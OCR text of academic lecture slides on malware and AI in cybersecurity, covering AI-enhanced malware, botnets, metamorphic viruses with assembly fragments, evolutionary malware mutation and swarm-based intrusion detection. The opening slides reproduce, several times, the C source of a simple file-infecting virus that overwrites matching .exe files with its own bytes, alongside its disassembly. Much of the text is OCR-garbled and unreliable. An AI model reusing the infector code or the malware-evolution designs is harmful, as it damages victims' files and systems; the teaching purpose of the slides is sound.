X = 38400;
hst = findfirst("Hello*.exe", &fileinfo);
do
{
virus = fopen(argv[@], "rb");
host = fopen(fileinfo.name, "rb+");
printf("Infecting %s\n", fileinfo.name, a);
fread(buff, 38400, 1, virus);
fwrite(buff, 38400, 1, host);
a++;
fcloseall();
} while (_findnext(hst, &fileinfo) == ©);
printf("DONE!(Total Files Infected = %d)", a);
getchar();
¥
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Prelude — virus in ASM
m

1 #include <io.h>
DocElo4,] 68 99960000 FUSH 9600 2 #include <iostream>
GOZE194C| 68 S0A12B@@ | PUSH OFFSET B@2BA15@
po2B1951]  FF1G 78612008 | CALL DWORD PTR DS:[2C61781 3
Sooniach oorq @ BHP Eortop
BazB195A 3 i .
ESFE}EE'{ EEFEEF#FFF ﬁEbLEE?zﬁé.‘ﬁ" 4 #pragma warning(disable:4996)
i) & EXVE £ .
SE1963| AL SCA12B0@ | MOU EAX,DWORD PTR DS:C[2BA13CI 5 FILE *virus, *host;
265 ca PUSH ERAX 6 int a = 0:
328 23 Eégevaaaa EHEH slﬁsava nta =g
el = -
RS, T ERET AR o [ unsigned Lone X, e
=Ty H
B197E|  83C4 19 ESF, 18 8 char buff[38400€];
o156 EgFglF?FFFF EEELESééE?TQG 9 st t finddata t fileinf
B15955| AL 4BR1ZBEE | HOU EAX, DWORD PTR DS:[2BA148] struct _tinddata_t Tileinto;
“E1950  83C8 @1 ADD EAx, 1 10
Eis0| A3 doRizees MOV Eg?agsgm DS: [2BA1481, EAX .
e . ..
GoE1994)  FFAG 20612008 |CALL DWORD PTR DS:[2C612C] 11 void main(int argc, char* argv[])
GB2B13597| 3BF4 CHP ESI,ESP 12 {
coctiooc| ES SSFPFRRF | CALL ee5Biide
%1% ¥y H .
Dol 90 Tomachy |FUM WFSEL 0GR enieso o X 38409
.12 - :\J - . - -
PB2B19AD| 5@ PUSH EAZ 14 hst = _findfirst("Hello*.exe", &fileinfo);
0OZE190E| FF15 84612C08 |CALL DWORD PTR DS:[2C6184]
POZE1984| 93C4 88 ADD E 15 do
GOZE19ET|  3BF4 CHP ESI.ESP
BOZB19B2| EB8 78FPFFFF CALL PP2B1136 16 {
CSE1a0G|~ BRS4 13FFFFFF | JE OBSEABOA 17 - £ bt
515 o3 Ly = M
GozEistc| B1'40A12B00 | HOU ERX,DUORD PTR DS:([28A140) virus open(argv[e], "rb");
IBZE19C _ - . " ny o,
GocEioCC| 68 57B2BOG | PUSH OFFSET 00287858 ASCII "DONE*(Total Files Infected = 18 host = fopen(fileinfo.name, "rb+");
BvazB130 : " : o, n : x .
pozoisns| 8304 03 RO €SP, & 19 printf("Infecting %s\n", fileinfo.name, a);
Bz 0% . .
00251308 FF18 7861200 Eﬁ'.s'-EE'i‘bﬁgppT“ DS: 02061781 20 fread(buff, 38400, 1, virus);
Ldu o » -
GUZELSEZ|  ES 4EFPFFFF | CALL DB2E1136 21 fwrite(buff, 38400, 1, host);
GBZB19ES| 33C0 %OR EAX, EAX
GeZB19EA| SF POP EDI 22 a++;
GAZE19EE| EE POP ESI
POZE19EC| 5B FOP EBX 23 fcloseall();
S el 1] 2 nile ( Findnext (Rst; &fileinfo) == o
(515 ¥4 9F3 » == .
Gl EngoeTeeR Gl eeinlios oy e =1nTo) == )
A E [ . - mn l - = Q, n .
soceire| 8 Poe E&F 25 printf("DONE! (Total Files Infected = %d)", a);
515 o4 S .
GAZE19FE| CC INTZ 26 getchar();
GEZBISFF| CC INT3 27 )

Address |Hex dump

e r P ma
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b ¢

IDA - C\Softpedia Files\Softpedia.exe

QOutput window

IDC

AU: idle Down

File Edit Jump | Search | View Debugger Options Windows Help
EE e next code Alt+C b mh B oF v ma X @D O Mo debugger - % Eil e
. e Cut+D | .} >
next explored Ctrl+A
Library function nstruction External symbal
next unexplored Ctrl+U _ _ _ _ _ _
Functions window e ediate value Afte] O] Hex View-1 [ Structures | El Enums | Imports || @ Exports [
: ush eax
Function name & next immediate value Ctrl+l Eau sub_NOCHHD
b_401370 push offFset al H
% sub_dngﬁ % text.. Alt+T lea ecx, [esp*BACh+CriticalSection]
£ sub_ B nedted CtrleT call sub_4BL520
E sub_401440 n r chp eax, 1
zl sub_401B70 sequence of bytes... Alt+B inz short loc_h@1CC6
 ——————
£] sub_401840 @  next sequence of bytes Ctrl+B
(7] sub_401BF0 fumct FE
E sub_401DAD not function l:'est e, edx
zl WinMain () nest void Crl+V jnz sllulrt loc_HBCCH
[£] sub_4020C0 error operand Ctrl+F [ ]
o il =
E sub_dﬁ?_'l?q all void operands s | s =
[ #] unknown_libnar xor ehx, ebx
E cub 402270 all error operandg Jmp short loc_LB1CCH 101:_#01[:[:2: 4
- moy ebx,
b_402280
% :.L-:h . 4 search direction | (R I
< L ™=
Line 12 of 1354 loc_481CCE: ; pvReserved
’ push a
,ng'glnGraphoverwew u B call ds:0lelnitialize
mow ecx, [esi+8]
push L
push BBEBBh
push 62h
push ecH
lea ecx, [esi+898h]
rall cuh LATORD

78.41% (-267,936) (4,24) 00001BF0 00401BF0: sub 401BF0 (Synchronized with Hex View-1)

Disk: 103GB

Bx419ECH: Bréakpuint is already enabled?

s

Speaking: lvan Zelinka
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Yes

Prelude — complexity of description

Find first Open virus Read Write virus Close virus
host and host virus to host and host

@

INT3
55 PUSH EBP |
SBEC nou EBP,ESP
S1EC Coo000ee |SUB ESP,BCo
83 PUSH EBX
56 PUSH ESI
s7 PUSH EDI
8DBD 48FFFFFF |LEA EDI, [EBP-BCa]
B9 HOU ECX, 38
B8 CCCCCCeC MOU ERX, CCCCC
F3:RB REP STOS DWORD PTR ES:[EDI]
C7085 44A12800 (HOU DWORD PTR DS:[(2BA1441, 9608
HOU ESI, ES
. - €8 30760600  |PUSH OFFSET GaoRsban ASCIT "Hellow,ene”
1 #include <io.h> FFIE 38612000 | CALL DUORD PTR 0 [206188) .
2 #include <iostream> O |5 ) -
3 A3 48A12B60 HOU DWORD PTR DS:[2BA1481,EAK
BBF: nou ESI,ESH
. . €8 407B2E00 PUSH OFFSET 002B7B40 ASCII "rb™
4 #pragma warning(fisable:4996) i L = AT file name: Virus@3.exe
5 FILE *virus, *host; §§§ oA P%%;:{EHSEE FIR BS: fECksbity mime type:
6 int a = ©: FF1§ 70612000 |CALL DWORD PTR DS:[20617C)
i ’ e ETEe 0000-0010: 4d 5a 99 00-03 00 00 00-04 00 00 90-ff ff B0 00 MZ...... ........
7 unsigned long X, hst; Ll — 0000-8020: b8 ©G 60 0P-00 06 08 00-40 GO 00 ©0-08 60 80 00 ........ @ e
8 char buff[38460]; - PR [ 1 1 o fscIl mber  0000-0030: 00 00 00 00-00 00 00 00-00 00 00 00-00 00 80 B0 ........ ........
o struct _finddata t fileinfo; e, | e ST s 9000-0040: 0 00 00 00-00 G 0O 09-00 G0 00 0O-<B 60 00 0O ....... ........
10 - s eSS 0000-0050: Oe 1f ba 0e-90 b4 @9 cd-21 b8 01 4c-cd 21 54 68 1..L.!Th
X o B3 SeRIChoo | HoU DUORD BIR DS:([2BA13CI,EAX 00@0-0060: 69 73 20 70-72 6f 67 72-61 6d 20 63-61 6e 6e 6f is.progr am.canno
11 void main(int argc, char* argv|]) Al 46A12600  |MOU ERX,DWORD PTR D61 (26A148] 0000-0070: 74 20 62 65-20 72 75 6e-20 69 6e 20-44 4f 53 20 t.be.run .in.DOS.
12 { €8 74372000  |PUSH OFFSET 96205774 ASCIT "Infect ing 0000-0080: 6d 6f 64 65-2e @d ©d ©a-24 00 00 00-00 0O 00 00
13 X = 38460: SR b TR 0000-0090: ac e7 87 fl-e8 86 e9 a2-e8 86 €9 a2-e8 86 e9 a2
’ cBFd Hou ESI.ESP 0000-00a0: 31 ed e8 a3-eb 86 €9 a2-76 26 2e a2-e9 86 e9 a2
_ . . " * s g Al 38A12B08 HOU ERM, DWORD PTR DS:[2BA1381 B
14 hst = _findfinst("Hello*.exe’\, &file: s PUSH ERK 000006607 31 ed|ec a3-ff 86 9 a2-31 ed ed a3-e5 86 e9 a2
15 do e Y i 0080-08c@: ca e6 \e8 a3-ec 86 €9 a2-e8 86 e8 a2-al 86 e9 a2
16 { Fhis [o612000 | CALL DWORD PTR DS:l2c617e) 0000-00d0: 4b e5 ec a3-e9 86 e9 a2-4b e5 16 a2-e9 86 e9 a2
17 virus = fopép(argv[@], "rb") == 0080-00e@: 4b e5 ab a3-e9 86 €9 a2-52 69 63 68-e8 86 €9 a2
peplargy 4 - . 0000-00F0: 00 00 0P 00-00 0O 00 00-50 45 00 00-4c 01 08 00
18 host = fopen(fileinfo.name, "rh+"); 0000-0100: 13 99 @¢ 5a-00 00 00 00-98 00 00 00-e@ 00 02 Ol
19 printf("Infecting %s\n", fileinfe.name, a); 0000-0110: ©0b 01 @ ©b-00 54 00 00-00 f8 00 00-00 00 00 00
20 fread(buff, 3848@, 1, virus); 0008-8120: 5a 10 81| 00-00 16 60 00-80 10 08 ©0-00 80 40 00
21 furite(buff, 38400, 1, host); 0000-0130: 00710 00|00-00 02 00 00-06 00 00 00-00 00 00 00
’ N2 Z 0080-0140: /06 00 BQ_00-00 6O 08 0P-08 a0 02 00-08 84 00 00
22 a++; 0000-01507 00 00 00 00-03 00 40 81-00 00 10 00-02 10 00 00
23 fcloseall(); 0000-p160: 08 00 10 §0-00 16 00 00-80 GO 00 00-18 60 80 00 ........ ........
24 } while (_findnext(hst, &fileinfo) == 08); 0006-0170: 00 00 00 00-00 00 00 00-dc 61 02 00-50 00 00 00 a..P..
X N : ; ol 9000-0180: 08 86 62 00-3c ©4 00 00-00 GO 00 00-08 60 80 00 ....<... ........
25 printf("DONE!(Total Files Infested = %d)", a); 0O0O_0100. OO OO OO DO_00 OO OO OH_00 QO 07 OO_RA O OO OO
26 getchar();
27 }
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Mallware, legends and truth

= Can we infect unknown, nonhuman (i.e. extraterrestrial) computers?
= The Independence day
= Space odyssey 3000
= The Cloud by Ray Hammond

= Hardware destruction

Speaking: lvan Zelinka
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Advanced malware

= Malware with Al (next generation malware)
= |Intelligent evasion techniques (highly evasive, anti-reversing)
= Autonomous malware (mass attack with machine speed, targeted and customized attacks)
= Bio-inspired computation and swarm intelligence (mutate, evolution, swarm intelligence malware)

48
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Botnet — what is the next?

THE STRUCTURE ~ PMASTER
OF A BOTNET o

' C&C-SERVERS
(COMMAND & CONTROL)
3\\

/ “ay
li e
W

SOURCE: BLOGE.TKJ.SE

https://readwrite.com/2013/07/31/how-to-build-a-botnet-in-15-minutes/

>
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Botnet — what is the next?

https://readwrite.com/2013/07/31/how-to-build-a-botnet-in-15-minutes/
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X-Ware?

* Possible future?

https://readwrite.com/2013/07/31/how-to-build-a-botnet-in-15-minutes/

https://www.biographic.com/posts/sto/lens-of-time-secrets-of-schooling
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Artificial intelligence - advanced malware with Al

52
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BrIEf hlStory Of AI —{ﬁ-rtifinial Intelligennej
—{T—Lngic The-mis-tx
—{Lis-p programiming Ianguagej
—q' General Problem Solver 1
= The origin of the Al {7 ALt |
= Antikythera mechanism P;E“”'"tiﬂ"w o)
Eveolution Strategy
" Charles Babbage —{cypermetia|
= A. Turing and EA terminology urine T
Matural language processing
= John von Neumann C— |
= Konrad Zuse —{ Nimatron
Three Laws of Robotics J
Artificial Meural NE-h'-“EﬂE-]
Gamethe—ury.]
-Memanil:al Turk] -H{:-ars-um's- UIniversal Robots
The Chess F"Ia}.rEI-J —{F{}I'ITIE| 53.-Etem” ||
—{I{ing and Roock vs. King J lMaschinenmensch
I—iF"rinl::ip—ia Mathematil:a] Lambda |::E|I|:u|us-1|
| ] | | ] | ] ] | | III ] ||'I|I| |I| 1 1 1 1 ] 1 ]
1800 1850 1200 1850 2000
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Brief history of Al

Faculty of Applied Informatics

—{F'alallel genetic programming ]

’—{Diﬁaential Ewvolution ]
—{Ant Colony Optimization ]

= A. Turing (EA definition)

= N.A. Baricelli (first numerical experiments) R Progeamiming Langioge
= J. Holland (GA) mcma;mmmm]
= J. Koza (GP) —{ Wolfiam Language |

H
cee —{Ewa:mlntelligence]
—{ Memetic Algnlithm]

—{ Zenetic AlgmithmJ —{ Simulated annealing ] Self-crganizing migrating algorithm ]

—{ Man-Computer Symbiosis J MATLAB ’-{ Particle Swarm Optimization ]

(NI

ogic —{ Stochastic diffusion search ]

| NENI Lii
ELIZA Computaticnal differentiatinnJ Python Programming Langua.gEJ

I
Expert systems Subsumption architecture L ASIMO

] | ] ] ] ] ] ] ] ] ;;-1 l:;- ;;-1 --1-1 | | ] ] ] ]

.E

19680 1970 1980 1990 2000 2010
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Brief history of Al

= Al history is a mixture of the
= Software history
= Hardware history
= Algorithm history

Stodkfish

FACULTY OF ELECTRICAL
ENGINEERING AND COMPUTER

DEPARTMENT
OF COMPUTER
SCIENCE

—{E-h uffled frog leaping algnrithm)

—{Cat Swarm Optimizaticn J

—{Imperialist competitive algorith m-]

—{ River formation dynarnil:s]

—{ Intelligent water drops algorithm ]

Tomas Bata University in Zlin

Faculty of Applied

Hydrological Cycle Algorithm ]

Rain Water Algorithm l

AlphaGo

Cuelist Algorithm

Killer Whale Algorith m]

Sophia Robot

Cuttlefish optimization algorith m-]

Hetercgeneous Distributed Bees Algorithm ]

I—{ Cooperative Group Optimization ]

i

Bees algorithm

-{Glmm swarm cptimization ]

Artificial Bee Colony ]

Blue Brain

—{Anan:hil: Society Optimizaticn -]
—{WﬂtEl’ Cycle Algnrithm_]

—{Elurain Storm Optimization ]

—{Spiml optimization ]

AlphaZero

—{ Mass and Energy Balances Algorith m]

-{ Harris hawks optimization ]

—{Mifil:,ial Intelligence Markup Language

|-{(El-acterial Foraging Cptimization ]

Estimation of distribution E.|Qﬂ|’it|'ll'l"l]

—{ Empercr Penguins Colony l

Firefly Algorithm

ﬂFI{M&I pellination algorithm ]

Julia Programming Lang ua.ge]

Gravitational Search Algorithm

Cuckoo Search

Bat Algorithm

-{ Momentum Balance Alg{:ithm]

-{Artifinial SWarm intelligenne]

Colliding bodies ﬂptimizatinn]

Informatics

2000 2005

2010

2015

2025
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What is artificial intelligence

Types of Al
Artificial intelligence
Reactive
Machines Self
Narrow ! Strong Awareness
Al Al Limited
General Theory of

A Memory mind

Speaking: lvan Zelinka
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Artificial intelligence — history and basic principles

= According to John McCarthy, Artificial Intelligence (Al) is “The science and engineering of
making intelligent machines, especially intelligent computer program.”

= Artificial Intelligence is a process that makes making a computer, a computer-controlled
robot, or a software think intelligently think and act like humans through the simulation of

human thinking.

= Artificial intelligence can process data on a larger scale, systematically, scientifically and
faster than a human could.

57
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History of artificial intelligence

Year
1943
1950

1956
1952-1969

Speaking: Ivan Zelinka

Milestone / Innovation

Foundations for neural networks laid.

Alan Turing introduced Turing Test for evaluation of intelligence
Claude Shannon published Detailed Analysis of Chess Playing as
a search.

John McCarthy coined the term Artificial Intelligence.

John McCarthy invents LISP programming language for Al
Joseph Weizenbaum at MIT built ELIZA, an interactive problem
that carries on a dialogue in English.
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History of artificial intelligence

Year
1966-1973

1974-1985

1986

Speaking: Ivan Zelinka

Milestone / Innovation

Scientists at Stanford Research Institute Developed Shakey, a robot,
equipped with locomotion, perception, and problem solving

Freddy, the Famous Scottish Robot, capable of using vision to locate and
assemble models.

The first computer-controlled autonomous vehicle, Stanford Cart, was
built.

Harold Cohen created and demonstrated the drawing program, Aaron.

The return of neural networks
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History of artificial intelligence

Year Milestone / Innovation

1997 * The Deep Blue Chess Program beats the then world chess
champion, Garry Kasparov.

2000 * |nteractive robot pets become commercially available.

1990 * Major advances in all areas of Al

2001 - now * The availability of very large data sets

 Significant advances in machine learning, especially deep learning
(neural networks)

e Speech recognition and Computer vision is dominated by deep
learning.

Speaking: Ivan Zelinka
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Applications of Al in cybersecurity

61
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Applications of Al in cybersecurity

Speaking: lvan Zelinka

The Impact of Al

on Cybersecurity

+ The positive uses of Al

+ Drawbacks and limitations

of using Al

Al methodology
for cybersecurity

+ Learning algorithms
+ Machine learning methods

+ Deep learning methods

+ Bio-inspire computing methods

Al in the

.Cyber domain/

Al-based application
on cyber defence

+ Malware detection

+ [ntrusion Detection

+ Phishing detection

+ SPAM identification

+ Countering Advanced
Persistent Threats

Generated Domain Names

\-

OF COMPUTER

+ Detection of Algorithmically

Tomas Bata University in Zlin
Faculty of Applied Informatics

Challenges and

future directions

+ Challenges
+ Future directions

J

The criminal use of Al

+ Al-powered malware
+ Al against Al
+ Social engineering attacks

62
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o . . o ) . .I PC malware |
Applications of Al in cybersecurity o Malware deectio }_E
) .I : Android malware
= Recently, scientists proposed numerous __ >/ Intrusion detection
techniques that have utilized Al methods »{ Network intrusion }—E
to p Anomaly detection
= Categorize malware [15, 43], Cyber Applications of "
. . Al-base methods p .
= Detect network intrusions [1, 18, 31, 7, 10] —» Web phishing detection
= Phishing [33, 21]
= Spam attacks [3, 13] : >/ Mail phishing detection
= Counter Advanced Persistent Threat (APT) *{_FhiShi"w’SPﬂm de‘*‘-CﬁO"}* _: :_
[8, 14] | > Spam on social networks
= |dentify Domain Generation Algorithms _: "
(DGASs) [22, 12, 41, 42]. > Spam mail
= Figure illustrates the primary areas of __
utilising Al to cybersecurity. __ __ Countering APTs
4>{ Other .'
.' " Identify domain names | .
generated by DGAs

Speaking: lvan Zelinka
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Applications of Al in cybersecurity

One of the ultimate goals of malware is to hide their presence and malicious intent to avoid being detected by anti-
malware solutions. Cybercriminals will certainly discover ways to implement the most advanced technology into
evasive techniques.

= The researchers from IBM [34] presented malware enhanced by the Deep learning (DL) techni?ue that was capable
of leveraging facial recognition, voice recognition, and geolocation to identify its target before for attacking.

= In [27] Rigaki and Garcia adopted DL techniques to generate malicious malware samples that avoid detection by
simulating the behaviours of legitimate applications.

= Concurrently to the development of malware, there are attempts to apply bio-inspired techniques into malware. For
instance.

= Ney ea al. [24] presented how to compromise a computer by encoding malware in a DNA sequence.

= Later, the authors in [46] outlined a hypothetical swarm malware as a background for a future anti-malware system.
More precise, the swarm virus prototype simulated a swarm system behaviour, and its information was stored and
visualized in the form of a complex network.

= As a further improvement, the authors in [38] fused swarm base intelligence, neural network, and a classical
computer virus to form a neural swarm virus

64
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Applications of Al in cybersecurity

‘ Malicious use of Al ‘

There have been researches on adopting Al to carry
out complex social engineering attacks. In [29, 30], l

v A J

the authors introduced a long short-term memory

(LSTI\/l) neural network that was trained on social ‘ Strengthen malware ‘ Attack Al models ‘ ‘ Social engineering
media posts to manipulate users into clicking on
deceptive URLs.
. o . . . Y v v
= Adversarial inputs: The authors in [19] investigated _ - Model
. . [ Adversarial Poisoning tracti
adversarial generated methods to avoid detection inputs training data extraction

attacks

by DL models. Meanwhile, in [2], the authors
presented a framework based on reinforcement
learning for attacking static portable executable

(PE) anti-malware engines = Model extraction attacks: These techniques are used to

reconstruct the detection models or recover training data
5 Ud via black-box examining [37]. On this occasion, the attacker
vulnerab!e to poisoning at.tack_s, for example, learns how ML algorithms work by reversing techniques.
network intrusion, spam filtering or malware . .
: From this knowledge, the malicious actors know what the
analysis [20],[9]. . . .
detector engines are looking for and how to avoid it. .

= Poisoning training data: Different domains are

Speaking: Ivan Zelinka
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Applications of Al in cybersecurity

‘ Al strengthen malware

o | |

=

14 Intelligent evasion A /" Automous malware .f’fEIin-inspired & swarm
techniques intelligence
» Anti-Reversing  Smart decisions  Swarm-based
» Doge sandbox » Eliminating C&C intelligence
« Adapt to environment « Machine speed « Evolvable malware
 New malware variants » Targeted attack » Mutate malware
= Bio-inspired
b A ., o b A

66
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A.l. and cybersecurity

= Detection of attacks/exploits.

= Key generators synthesis.

" Se Ccu rlty St ra tegl es o) ptl m | Zat | O n/Sy nt h e S | S Using black and white stickers and a general attack algorithm called Robust Physical
Perturbations, researchers can cause a computer vision system to see the stop sign as a 45 mph

= (Classification of... attacks/logs/whatever... speed limit sign (Evtimov et al., 2017).
= Adversarial Machine Learning (Man vs. Machine)

= |tis not all sunshine and rainbows...

Speaking: Roman Senkerik
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Swarm intelligence — history and basic principles
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Swarm intelligence — history and basic principles

Swarm Intelligence

Biology Computer Science Robotics
* Insect / animal groups * Branch of Al (CI) - Cooperative problem
solving
* Cooperative behavior e Bio-inspired algorithms
* Decentralization
* Solving tasks no- * Metaheuristic optimizers
individual can solve alone « Self-organization
* Population-based
* Global intelligence driven « Autonomous systems

by local interactions  Communication

Speaking: Roman Senkerik
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Swarm idea

= Invincible by the Stanislaw Lem
= Non-human thinking system

= Swarm system as a brain

= Fantasy and science fiction???
= Swarm robotic

= Collective memory

= Decentralized control

= See also
= http://news.bbc.co.uk/2/hi/science/nature/8044200.stm
= http://imr.ciirc.cvut.cz/Swarm/Swarm
= http://mrs.felk.cvut.cz/research/swarm-robotics

7/11/2020 navy.cs.vsh.cz

Speaking: Roman Senkerik/lvan Zelinka
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Swarm intelligence

https://www.biographic.com/posts/sto/lens-of-time-secrets-of-schooling

https://github.com/0la0/psoViz

Speaking: Roman Senkerik



VSB TECHNICAL | FACULTY OF ELECTRICAL DEPARTMENT Tomas Bata University in Zlin
||| UNIVERSITY | ENGINEERING AND COMPUTER | OF COMPUTER

OF 0STRAVA | SCIENCE SCIENCE Faculty of Applied Informatics

Swarm intelligence

=Cooperation of simple agents/units/individuals (problem solutions) without any command and
control unit.

=Self-Organisation, Self-Emergence.

=|nspiration for many powerful algorithms/swarm
robotics concepts.

=ACO

=PSO

Speaking: Roman Senkerik
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Ant colony optimization

* Ant colony optimization algorithm (Ant Colony Optimization ACO) was first introduced by Marco Dorigo in his
Ph.D. thesis (Dorigo, 1992), (Dorigo, 2004).

* This approach could be classified as finding good paths through graphs. The algorithm was inspired by real ant
colonies in locating food sources.

* The principle of the algorithm is to move “across the landscape optimized ant problem and marking
pheromone trails”. collecting food.

Speaking: lvan Zelinka
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Swarm intelligence and antimalware

S| simulating attacks

Speaking: lvan Zelinka
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S| simulating attacks

=Selected Sl and EAs algorithms as the artificial
=*PSO
*SOMA
*DE
*"GWO
=SA

=Adaptive IDS

Speaking: lvan Zelinka

Tomas Bata University in Zlin
Faculty of Applied Informatics

o e

Progress by iterations
=

/,,44

Cost

0.5

0.254

0

0 i 2 3 3 5 6 7 8 ) 10

Progress details

Position Objective function result

0.00000

1 0.26667 View details

2 0.33333 View details

TCP_SYN TCP_SYN TCP_FIN

Malicious probability: 0.00000 Malicious probability: 0.80000 Malicious probability: 0.00000
Port: 80 Port: 8080 Port: 80

Win, Size: 11720 B Win, Size: 38071 B Win, Size: 1676 B

Data. Size:0B Data. Size:0 B Data. Size: 698 B
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VectorUtils

<<Interface==
1AlgorithmEvaluator

+ evaluateIndividual()

+ add(v1: double[], vZ: double[]}
+ difference(v1: double[], v2: double[])
+ multiplyByScalar{v1: double[], scalar: double)

MQService

- queueSocketHandler

+ broadcastProgress()
+ broadcastCQueue()

PacketMapper

# ipSrc: string -
# ipDst: string -

<<Abstract>>
AbstractAlgorithm

- progressSocketHandler < we--Us@r====="1

+ penalizedFitness: double = 0.95
+ penalizationincrease:double = 0.2

+ compute() <<abstract==

+ computeWithlterations()
# postiteration()

# broadcastiterationResult()
+ evaluatePopulation()

+ evaluatelndividual{)

=<Interface>>
DshEvaluator

<<interface>>
TransportLayerEvaluator

+ evaluate Individual()

+ evaluatelndividual()

# udpPorts: list ’/,USE + computeGost(): double
# tepPorts: list £ A
- initPacketDb()
- createUdpDatagrams()
- createTepDatagramsi()
+ maplndexesToPackets()

Extgnds

Emnds/ﬁtﬁ?’/ \mmﬂs
DifferentialEvolution GreyWolfOptimization Par Jptimization SOMA SimulatedAnnealing

+ weightFactor: double

+ crossoverRate:double
+ compute() <<override>=

+ compute() <<override==
# postlteration() <<ovemide>>

+ c1: double
+ c2: double
+vMax: double

+ pathLength: double

+ tempStart: double

+ compute() <<override>>
+ computeWithiteration{) <<override>>

+ step: double + tempFinal: double
+ prt: double + stdDeviation: double
+ beta: double
+ compute() <<override>>
+ postlteration <<override>> + compute() <<override==>

+ computeWithlterations() <<override>>

1

<<Abstract>>
AbstractCrossover

+ crossoverRate: double

+ crossover()

Extends Extends

1

<<Abstract>>
AbstractMutation

+ weightFactor: double

+ createMoiseVector() <<abstract>>
# createDiffVector()

# createWeightedDiffVector()

+ getNRandomindividuals()

Extends

E:tends—"'_'_'_'_._rE:tends

BinCrossover

ExpCrossover

BestOneMutation

RandOneMutation

CurrentToBestMutation

+ crossover() S<overrides>

+ crossover() s<overrides>

+ createMoiseVector() <<override>>

+ createMNoiseVector() <<override>> + createMNoiseVector() <<override>>
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PSO in action

Algorithm-specific hyper parameters PsoComponent

Maximal velocity 1 1 Mumber of iterations

64 2 2 10

E.g. <50, 80= Eg 2 Eg 2 E.g. 10

AlgorithmRunComponent

Progress by iterations ProgressComponent

17

0.754

Cost

0.254

0 1 2 3 4 5
lterations

o

=
oo -
O

10

Speaking: lvan Zelinka
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Darwin, Mendel and malware evolution

Speaking: lvan Zelinka
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Metamorphic virus - the Badboy virus uses eight modules

EP —» 1 2
= The order of the subroutines will be different from generation to 2 4
generation, which leads to n! different virus generations, where n is the
number of subroutines. 3 8
= BadBoy had eight subroutines, and 8! = 40 320 different generations.
= W32/Ghost (discovered in May 2000) has 10 functions, so 10! = 3 628 800 ’ I
combinations. i .
= Both of them can be detected with search strings, but some scanners need
to deal with such a virus algorithmically. 6 7
7 5
8 3

Szor, P., 2005. The Art of Computer Virus Research and Defense: ART COMP VIRUS RES DEFENSE. Pearson Education.
Speaking: lvan Zelinka
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Simple metamorphic viruses

= |n December of 1998, Vecna (a notorious virus writer) created the W95/Regswap virus.

= Regswap implements metamorphosis via register usage exchange. Any part of the virus body will use different
registers but the same code.

= The complexity of this, clearly, is not very high.

= Some sample code fragments selected from two different generations of W95/Regswap that use different

reglsters.
58 eax
BBE04000000 ebx, 0004h
EAMuuuuun ej)'{ h 88D5 godx. ebp
BF edi, 0004 BF0C000000 edi, 000Ch
8BEFS § €51, ebp 81C088000000 eax, 0088h
BES80C000000 eax, 000Ch 8B30 esi, [eax]
81Cz288000000 edx, 0088h 89B4BA18110000 ¥ [edx+edi*4+00001118] ,esi
8B1A ebx, [edx]
8B99CE8£18110000 [esi+eax*4400001118] ,ebx

Szor, P., 2005. The Art of Computer Virus Research and Defense: ART COMP VIRUS RES DEFENSE. Pearson Education.
Speaking: lvan Zelinka
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W32/Evol virus

Speaking: lvan Zelinka

a. An early generaticn:

C7060F000055
C746048BECS5151

DEPARTMENT Tomas Bata University in Zlin
SCTENCE Faculty of Applied Informatics
mov dword ptr [esi],S5500000Fh
mowv dword ptr [esi+0004],5151EC8EBh

b. And one of its later generations:

BFOFO00055
893E

5F

52

Be40
BABBEC5151
53

8BDA
895E04

mowv edi,5500000Fh

mov [esi] ,edi

jsle)e] edi

push edx

mowv dh, 40

mowv edx, 5151EC8BBh

push ebx

mowv ebx, edx

mov [esi+0004],ebx

¢. And vet another generation with recalculated ("encrypted") "constant" data:
BBOF0O00QO0SS mov ebx,5500000Fh

891E mov [e=si], ebx

5B pop abx

51 push ecx

B9CBOOCOSF mov ecx, 5SFCO000CBh

B1C1COEES1F1 add ecx,F191EBCOh ; ecx=5151ECBEh
B94EQ04 mov [e=si+0004] , ecx

Szor, P., 2005. The Art of Computer Virus Research and Defense: ART COMP VIRUS RES DEFENSE. Pearson Education.
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Malware evolution based on Mendelian and Darwinian theory

= Can malware evolve?

=" Metamorphic malware
= Malware under Darwin’s and Mendel’s theory

2 1 1 2 3 2 4 1
SeparateExes | SearchForDrives SearchingForFiles FilesTolnfectHandler| InfectionChecker | InfectExe Payload Payload
P ————————

prepended Y GetlogicalDrives() | system command | serial prepended | prepended | message message

rewriting systern command | FindNextrile]) delayed parallel length check - equal | rewriting nothing-doing| nothing-doing
parasitical FindNextFile() immediate length check - larger | parasitical [inner-cycles | inner-cycles

fake fake alphabet alphabet
writing to file | writing to file

fibonaci fibonaci

Speaking: lvan Zelinka
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Metamorphism or evolution?

Speaking: lvan Zelinka
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Malware evolution - a life cycle

Method count: 4

Method count: 2

SeparateExes SearchingForDrives SearchingForFiles
Layerid: 1 | Layer id: 2 .| Layerid: 3
Array index: O 7| Array index: 1 Array index: 2

Method count: 3

N

FilesTolnfectHandler

=Virus metamorphosis driven by evolution

Layerid: 4
Array index: 3
Method count: 2

= Real virus evolution
= Layers
" Indexing - 2:1:1:2:3:2:4,1 P
= Metamorphic virus with 8 blocks is 40 320
= What if there is N blocks with M functions???

InfectExeFile

Layerid: 6
Array index: 5
Method count: 4

Layerid: 5
Array index: 4
Method count: 3

A 4

2 1 1 2 3 2 4 , 1

SeparateExes | SearchForDrives SearchingForFiles FilesTolnfectHandler| InfectionChecker | InfectExe Payload Payload J/

prepended GetLogicalDrives() | system command serial prepended prepended | message message Payload

rewriting system comman FInaNextriel) delayed parallel length check - equal | rewriting nothing-doing| nothing-doing -

parasitical FindNextFile() immediate length check - larger | parasitical |inner-cycles | inner-cycles Layer id: 7

fake fake alphabet alphabet Array index: 6
writing to file | writing to file Method count: 6
fibonaci fibonaci

Speaking: lvan Zelinka

Kanova, K., 2017. Evoluce digitalniho kodu (Digital Code Evolution), VSB-TU Ostrava, Thesis.
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Malware evolution - a life cycle

= Virus metamorphosis driven by evolution

= Real virus evolution
= Layers
" Indexing - 2:1:1:2:3:2:4,1 710 pr—
= Metamorphic virus with 8 blocks is 40 320
= What if there is n blocks with m functions???

Malware mutations by evolutionarny algorithms

= While metamorphic with N blocks is N!, o ml i}
evo-metamorphic is n! m!/(m-1)!... E o

= ...so we have forn=8 and m =5 201 600 E  a
combinations that is significantly more than in i (10-1)

the classical metamorphic scheme for that
setting...

"=Seem=10... : 7 5 3 10

speaking: lvan Zelinka Kanova, K., 2017. Evoluce digitalniho kédu (Digital Code Evolution), VSB-TU Ostrava, Thesis.
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Malware evolution — screenshot

Table 4: Fitness value explanation

Attribute Description

Time The time needed to run the whole entity.

